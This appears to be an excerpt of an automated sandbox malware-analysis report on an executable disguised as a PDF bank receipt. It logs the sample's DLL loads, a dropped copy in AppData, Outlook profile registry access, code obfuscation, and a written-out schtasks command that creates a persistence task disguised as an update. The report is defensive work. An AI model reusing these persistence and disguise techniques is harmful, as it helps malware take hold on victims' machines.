Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: iconcodecservice.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Section loaded: dpapi.dll
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Automated click: OK
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Automated click: OK
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: rDEKONT-1_16_2025__75kb__pdf.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: rDEKONT-1_16_2025__75kb__pdf.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: mscorlib.pdb source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4162079442.0000000006324000.00000004.00000020.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4162004610.0000000006310000.00000004.00000020.00020000.00000000.sdmp
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 0_2_0165272D push dword ptr [ecx]; ret 0_2_01652737
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 0_2_08155033 push eax; retf 0_2_08155039
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 0_2_081542B0 push ebx; ret 0_2_081542DA
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 0_2_0A0F3A29 push esp; ret 0_2_0A0F3A35
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 0_2_0A0F3BC8 pushfd ; ret 0_2_0A0F3BD5
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 0_2_0B84036B push ecx; ret 0_2_0B84036C
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_0160272D push dword ptr [ecx]; ret 8_2_01602737
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_018D2C58 pushfd ; ret 8_2_018D2C65
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_018D26B0 push esp; ret 8_2_018D26BD
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_018D26E8 pushad ; ret 8_2_018D26F5
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_0892036B push ecx; ret 8_2_0892036C
Source: rDEKONT-1_16_2025__75kb__pdf.exe Static PE information: section name: .text entropy: 7.598169781799861
Source: teXfNv.exe.0.dr Static PE information: section name: .text entropy: 7.598169781799861
Drops PE files
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe File created: C:\Users\user\AppData\Roaming\teXfNv.exe Jump to dropped file

Boot Survival
barindex
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\teXfNv" /XML "C:\Users\user\AppData\Local\Temp\tmpB0EF.tmp"

Hooking and other Techniques for Hiding and Protection
barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
